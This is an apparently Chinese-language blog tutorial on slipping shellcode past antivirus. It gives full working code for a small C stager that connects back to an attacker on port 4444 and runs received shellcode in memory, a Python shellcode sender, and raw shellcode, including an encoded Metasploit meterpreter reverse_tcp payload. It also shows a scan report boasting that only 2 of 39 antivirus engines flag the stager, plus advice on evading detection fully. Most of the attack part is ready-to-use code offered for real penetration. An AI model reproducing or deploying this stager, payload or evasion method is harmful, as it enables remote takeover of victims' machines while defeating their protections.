0x00 前言

Shellcode是我们在做渗透或者进行漏洞利用时常用的一段代码,它能够以很小的字节数完成我们想要的结果,然而现在杀毒软件的识别能力也在加强,所以迫使我们要对Shellcode进行加密混淆等等操作达到免杀的目的,怎么能够减少Shellcode被杀的概率呢?下面我来介绍一种比较另类的利用方式。

0x01 科普

搞Web安全的都知道,我们在渗透一个网站的时候,往往需要用到大马和小马。比如一个上传漏洞,如果漏洞上传点限制了文件大小,而我们又无法进行绕过时,那么就需要用到小马,利用小马进行无限制大小的上传我们的大马,从而进一步的控制服务器和利用大马进行提权。

道理一样,我们利用Shellcode进行渗透时,如果服务器安装有杀毒软件,我们没有经过免杀操作的Shellcode就不能在服务器上运行,进而我们需要对Shellcode进行繁琐的免杀操作,所以,受到web端启发,我们可不可以在无法过杀毒软件的情况下上传一个无害的小马呢?答案是可以的。

0x02 小马监听端

测试环境:

1.本机win7 : 127.0.0.1(本机作为攻击机和被攻击机)

2.虚拟机kali : 192.168.19.128(shell监听)

首先我们利用recver_hander模块生成反弹监听小马



我们打开temp.cpp查看小马源码

//Project : <https://github.com/hu>cmosin/purelove

//This file created with purelove ..

//Compile : gcc temp.c -o test.exe



​    #include <stdio.h>                      

​    #include <winsock2.h>                  

​    #include <Windows.h>              

​    #pragma comment (lib, "ws2_32")        



​    typedef struct sockaddr_in sockaddr_in;



​    int sock_shellcode(char *shellcodes)

​    {

​            char *shellcode =shellcodes;

​            DWORD why_must_this_variable;

​            BOOL ret = VirtualProtect (shellcode, strlen(shellcode),

​            PAGE_EXECUTE_READWRITE, &why_must_this_variable);

​            if (!ret) {

​                    return 0;

​            }

​            ((void (*)(void))shellcode)();

​            return 0;

​    }  



​    int main()

​    {

​        Sleep(2000);                   

​        WSADATA wsaData;

​        WSAStartup(MAKEWORD(2, 2), &wsaData);

​        SOCKET s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

​        sockaddr_in sockaddr;

​        sockaddr.sin_family=AF_INET;

​        sockaddr.sin_port=htons(4444);

​        sockaddr.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");

​        connect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR));

​            printf("***SERVER***"); 

​            while(TRUE)

​            {

​                    while(TRUE)

​                    {

​                            char buffer[4096];

​                            recv(s, buffer, 4096, NULL);

​                            if (buffer == NULL)

​                            {

​                            continue;

​                            }

​                            else 

​                            {

​                            sock_shellcode(buffer);

​                            }

​                    }

​            }

​        printf("thins end up");

​        closesocket(s);

​        WSACleanup();

​        getchar();

​        exit(0);

​    }

这个小马,利用了反向连接监听方法,首先我们创建SOCKET套接字,设置远程连接端口和IP地址,这里就用本机进行演示,连接远程IP:127.0.0.1,远程端口4444

SOCKET s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

 sockaddr_in sockaddr;

 sockaddr.sin_family=AF_INET;

 sockaddr.sin_port=htons(4444);

 sockaddr.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");

 connect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR));

我们写一个死循环来监听远程发送过来的Shellocde,这里的数据内存要写4096,否则小马会因为接收的数据太大而退出,如果你的Shellcode很大,建议对数据进行打包发送和接收,当然还有异常处理什么的这里就不写了。

while(TRUE)

{

​    while(TRUE)

​    {

​      char buffer[4096];

​      recv(s, buffer, 4096, NULL);

​      if (buffer == NULL)

​      {

​         continue;

​       }

​      else 

​       {

​         sock_shellcode(buffer); //shellcode接收执行

​       }

​     }

 }

下面来到shellcode执行部分,我们设置一个shellcode执行函数sock_shellcode(),我们用一个函数来进行内存保护VirtualProtect(),最后执行shellcode,((void (*)(void))shellcode)();

int sock_shellcode(char *shellcodes)

​    {

​            char *shellcode =shellcodes;

​            DWORD test;

​            BOOL ret = VirtualProtect (shellcode, strlen(shellcode),

​            PAGE_EXECUTE_READWRITE, &test);

​            if (!ret) {

​                    return 0;

​            }

​            ((void (*)(void))shellcode)();

​            return 0;}

0x03 Shellcode发送端

小马写好了,那么我们来写shellcode发送监听端,shellcode发送监听端我们采用python来写(什么语言无所谓)。

\#-*- coding: utf-8 -*-

import os,sys

from socket import *



HOST   = '0.0.0.0'

PORT   = 4444

BUFSIZ = 2048

ADDR   = (HOST, PORT)

sock   = socket(AF_INET, SOCK_STREAM)

sock.bind(ADDR)

sock.listen(1)

STOP_CHAT = False



print "Hander Listening %s port:%s" %(HOST,PORT)

while not STOP_CHAT:

​    tcpClientSock, addr=sock.accept()

​    print('Start Listening %s  port %s.....') %(addr,PORT)

​    while True:

​        p = raw_input("send:> ")

​        if p =="send":

​           data = "" #shellcode存放

​        try:

​            tcpClientSock.send(data)

​            if data.upper()=="QUIT":

​                STOP_CHAT = True

​                break

​            os_result = tcpClientSock.recv(BUFSIZ)

​        except:

​            tcpClientSock.close()

​            break

​        if STOP_CHAT:

​            break

​        print(os_result)



tcpClientSock.close()

sock.close()

我们一样,用一个socket套接字来监听4444端口,data变量用来存放shellcode,当然这里的shellcode过大,也需要对shellcode进行打包发送。

到了这一步,我们的小马和服务监听端就写好了。

0x04 Shellcode利用

我们现在来测试一下,我们先使用messagebox模块生成shellcode,弹出的messagebox信息为”test”。


我们把shellcode复制到shellcode发送端里的data变量中,如下

\#-*- coding: utf-8 -*-



import os,sys

from socket import *



HOST   = '0.0.0.0'

PORT   = 4444

BUFSIZ = 2048

ADDR   = (HOST, PORT)

sock   = socket(AF_INET, SOCK_STREAM)

sock.bind(ADDR)

sock.listen(1)

STOP_CHAT = False



print "Hander Listening %s port:%s" %(HOST,PORT)

while not STOP_CHAT:

​    tcpClientSock, addr=sock.accept()

​    print('Start Listening %s  port %s.....') %(addr,PORT)

​    while True:

​        p = raw_input("send:> ")

​        if p =="send":

​            data= "\x33\xc9\x64\x8b\x49\x30\x8b\x49\x0c\x8b\x49\x1c\x8b\x59\x08\x8b\x41\x20\x8b\x09\x80\x78\x0c\x33\x75\xf2\x8b\xeb\x03\x6d\x3c\x8b\x6d\x78\x03\xeb\x8b\x45\x20\x03\xc3\x33\xd2\x8b\x34\x90\x03\xf3\x42\x81\x3e\x47\x65\x74\x50\x75\xf2\x81\x7e\x04\x72\x6f\x63\x41\x75\xe9\x8b\x75\x24\x03\xf3\x66\x8b\x14\x56\x8b\x75\x1c\x03\xf3\x8b\x74\x96\xfc\x03\xf3\x33\xff\x57\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd6\x33\xc9\x57\x66\xb9\x33\x32\x51\x68\x75\x73\x65\x72\x54\xff\xd0\x57\x68\x6f\x78\x41\x01\xfe\x4c\x24\x03\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x54\x50\xff\xd6\x57\x68\x54\x53\x45\x54\x8b\xcc\x57\x57\x51\x57\xff\xd0\x57\x68\x65\x73\x73\x01\xfe\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd6\x57\xff\xd0"

​        try:

​            tcpClientSock.send(data)

​            if data.upper()=="QUIT":

​                STOP_CHAT = True

​                break

​            os_result = tcpClientSock.recv(BUFSIZ)

​        except:

​            tcpClientSock.close()

​            break

​        if STOP_CHAT:

​            break

​        print(os_result)



tcpClientSock.close()

sock.close()

现在我们执行小马程序,对shellcode发送端进行连接,在连接成功后我们send发送shellcode

可以看到成功了!说明我们的小马程序没有任何的问题。在日常中,我们习惯使用metaspliot来进行攻击,那么我们就用metaspliot的payload来进行利用。

下面我们选择reverse_tcp模块生成shellcode编码。


同理,我们把shellcode放到shellcode发送端里的data变量中,如下

\#-*- coding: utf-8 -*-



import os,sys

from socket import *





HOST   = '0.0.0.0'

PORT   = 4444

BUFSIZ = 2048

ADDR   = (HOST, PORT)

sock   = socket(AF_INET, SOCK_STREAM)

sock.bind(ADDR)

sock.listen(1)

STOP_CHAT = False



print "Hander Listening %s port:%s" %(HOST,PORT)

while not STOP_CHAT:

​    tcpClientSock, addr=sock.accept()

​    print('Start Listening %s  port %s.....') %(addr,PORT)

​    while True:

​        p = raw_input("send:> ")

​        if p =="send":

​            data= "\xeb\x18\x5e\x8d\x3e\x31\xc0\x31\xdb\x8a\x1c\x06\x80\xfb\x03\x74\x0e\x80\xf3\x05\x88\x1f\x47\x40\xeb\xef\xe8\xe3\xff\xff\xff\xf9\xed\x83\x05\x05\x05\x65\x8c\xe0\x34\xd7\x61\x8e\x57\x35\x8e\x57\x09\x8e\x57\x11\x8e\x77\x2d\x0a\xb2\x4f\x23\x34\xfa\x34\xc5\xa9\x39\x64\x79\x07\x29\x25\xc4\xca\x08\x04\xc2\xe7\xf5\x57\x52\x8e\x57\x15\x8e\x47\x39\x8e\x49\x15\x7d\xe6\x4f\x04\xd4\x54\x8e\x5c\x25\x04\xd6\x8e\x4c\x1d\xe6\x39\x4c\x8e\x31\x8e\x04\xd3\x34\xfa\x34\xc5\xa9\xc4\xca\x08\x04\xc2\x3d\xe5\x70\xf1\x06\x78\xfd\x3e\x78\x21\x70\xe7\x5d\x8e\x5d\x21\x04\xd6\x63\x8e\x09\x4e\x8e\x5d\x19\x04\xd6\x8e\x01\x8e\x04\xd5\x8c\x41\x21\x21\x5e\x5e\x64\x5c\x5f\x54\xfa\xe5\x5d\x5a\x5f\x8e\x17\xee\x8c\x58\x6d\x36\x37\x05\x05\x6d\x72\x76\x37\x5a\x51\x6d\x49\x72\x23\x02\xfa\xd0\xbd\x95\x04\x05\x05\x2c\xc1\x51\x55\x6d\x2c\x85\x6e\x05\xfa\xd0\x55\x55\x55\x55\x45\x55\x45\x55\x6d\xef\x0a\xda\xe5\xfa\xd0\x92\x6f\x0c\x6d\xc5\xad\x16\x85\x6d\x07\x05\x14\x59\x8c\xe3\x6f\x15\x53\x52\x6d\x9c\xa0\x71\x64\xfa\xd0\x80\xc5\x71\x09\xfa\x4b\x0d\x70\xe9\x6d\xf5\xb0\xa7\x53\xfa\xd0\x6f\x05\x6f\x01\x53\x52\x6d\x07\xdc\xcd\x5a\xfa\xd0\x8e\x33\x6f\x45\x6d\x05\x15\x05\x05\x53\x6f\x05\x6d\x5d\xa1\x56\xe0\xfa\xd0\x96\x56\x6f\x05\x53\x56\x52\x6d\x07\xdc\xcd\x5a\xfa\xd0\x04\xc6\x2c\xc3\x80\xf3\x70\xe9\xc6\x03"

​        try:

​            tcpClientSock.send(data)

​            if data.upper()=="QUIT":

​                STOP_CHAT = True

​                break

​            os_result = tcpClientSock.recv(BUFSIZ)

​        except:

​            tcpClientSock.close()

​            break

​        if STOP_CHAT:

​            break

​        print(os_result)



tcpClientSock.close()

sock.close()

对shellcode发送端进行反向连接,连接成功后,我们send发送shellcode到小马端进行执行。

我们用metaspliot的handler进行监听,我们使用的模块是payload/windows/meterpreter/reverse_tcp。



可以看到,在我们send发送shellcode后,成功在kali里获取到了反弹shell。

现在为了验证小马的过杀软能力,把小马上传到virscan进行杀毒引擎病毒扫描

VirSCAN.org Scanned Report :
Scanned time : 2017-09-17 17:59:56
Scanner results: 5%的杀软(2/39)报告发现病毒
File Name : test.exe
File Size : 17988 byte
File Type : application/x-dosexec
MD5 : 2e6a1aef8517d9e6e5291fc2725dbd09
SHA1 : ba9b1897f74f05791da16615fbf22ee1f052f6e0
Online report : http://r.virscan.org/report/488a9535a7294fc51f0148f237f47c02

Scanner Engine Ver Sig Ver Sig Date Time Scan result
ANTIVIR 1.9.2.0 1.9.159.0 7.14.27.224 20 没有发现病毒
AVAST! 170303-1 4.7.4 2017-03-03 35 没有发现病毒
AVG 2109/14460 10.0.1405 2017-09-14 1 没有发现病毒
ArcaVir 1.0 2011 2014-05-30 8 没有发现病毒
Authentium 4.6.5 5.3.14 2017-09-16 1 没有发现病毒
Baidu Antivirus2.0.1.0 4.1.3.52192 2.0.1.0 3 没有发现病毒
Bitdefender 7.58879 7.90123 2015-01-16 1 没有发现病毒
ClamAV 23835 0.97.5 2017-09-15 1 PUA.Win.Packer.MingwGcc-3
Comodo 15023 5.1 2017-09-16 3 没有发现病毒
Dr.Web 5.0.2.3300 5.0.1.1 2017-09-11 50 没有发现病毒
F-PROT 4.6.2.117 6.5.1.5418 2016-02-05 1 W32/Felix:CO:VC!Eldorado
F-Secure 2015-08-01-02 9.13 2015-08-01 7 没有发现病毒
Fortinet 5.4.247 2017-09-17 1 没有发现病毒
GData 25.14209 25.14209 2017-09-16 12 没有发现病毒
IKARUS 3.02.08 V1.32.31.0 2017-09-16 9 没有发现病毒
NOD32 6086 3.0.21 2017-09-15 1 没有发现病毒
QQ手机 1.0.0.0 1.0.0.0 2015-12-30 1 没有发现病毒
Quickheal 14.00 14.00 2017-09-16 3 没有发现病毒
SOPHOS 5.32 3.65.2 2016-10-10 11 没有发现病毒
Sunbelt 3.9.2671.2 3.9.2671.2 2017-09-15 2 没有发现病毒
TheHacker 6.8.0.5 6.8.0.5 2017-09-11 1 没有发现病毒
Vba32 3.12.29.5 beta 3.12.29.5 beta 2017-09-15 10 没有发现病毒
ViRobot 2.73 2.73 2015-01-30 1 没有发现病毒
VirusBuster 15.0.985.0 5.5.2.13 2014-12-05 17 没有发现病毒
a-squared 9.0.0.4799 9.0.0.4799 2015-03-08 2 没有发现病毒
nProtect 9.9.9 9.9.9 2013-12-27 3 没有发现病毒
卡巴斯基 5.5.33 5.5.33 2014-04-01 31 没有发现病毒
奇虎360 1.0.1 1.0.1 1.0.1 4 没有发现病毒
安博士V3 9.9.9 9.9.9 2013-05-28 6 没有发现病毒
安天 AVL SDK 2.0 1970-01-01 3 没有发现病毒
江民杀毒 16.0.100 1.0.0.0 2017-09-16 2 没有发现病毒
熊猫卫士 9.05.01 9.05.01 2017-09-16 5 没有发现病毒
瑞星 26.28.00.01 26.28.00.01 2016-07-18 4 没有发现病毒
百度杀毒 1.0 1.0 2017-03-22 1 没有发现病毒
费尔 17.47.17308 1.0.2.2108 2017-09-16 6 没有发现病毒
赛门铁克 20151230.005 1.3.0.24 2015-12-30 1 没有发现病毒
趋势科技 13.302.06 9.500-1005 2017-03-27 1 没有发现病毒
迈克菲 8620 5400.1158 2017-08-12 17 没有发现病毒
金山毒霸 2.1 2.1 2017-09-16 3 没有发现病毒

只有两个杀毒引擎报毒,在这里有个问题,小马用的是gcc编译器进行编译,如果我换成其他的编译器的时候,拿去检测,没有一款杀毒引擎报毒,直接免杀全球,所以选择一个合适编译器很重要。

0x06 结束

这种以小马的方式执行shellcode在系统中不会产生任何的文件,因为shellcode直接带入内存,所以也减少了被杀的风险,其实在现实中还需要考虑很多问题,比如杀毒软件的内存监控,网络通信监控等等,当我们面对对方杀软无能为力时,这不失为一种有效的方法。

源链接

Hacking more

...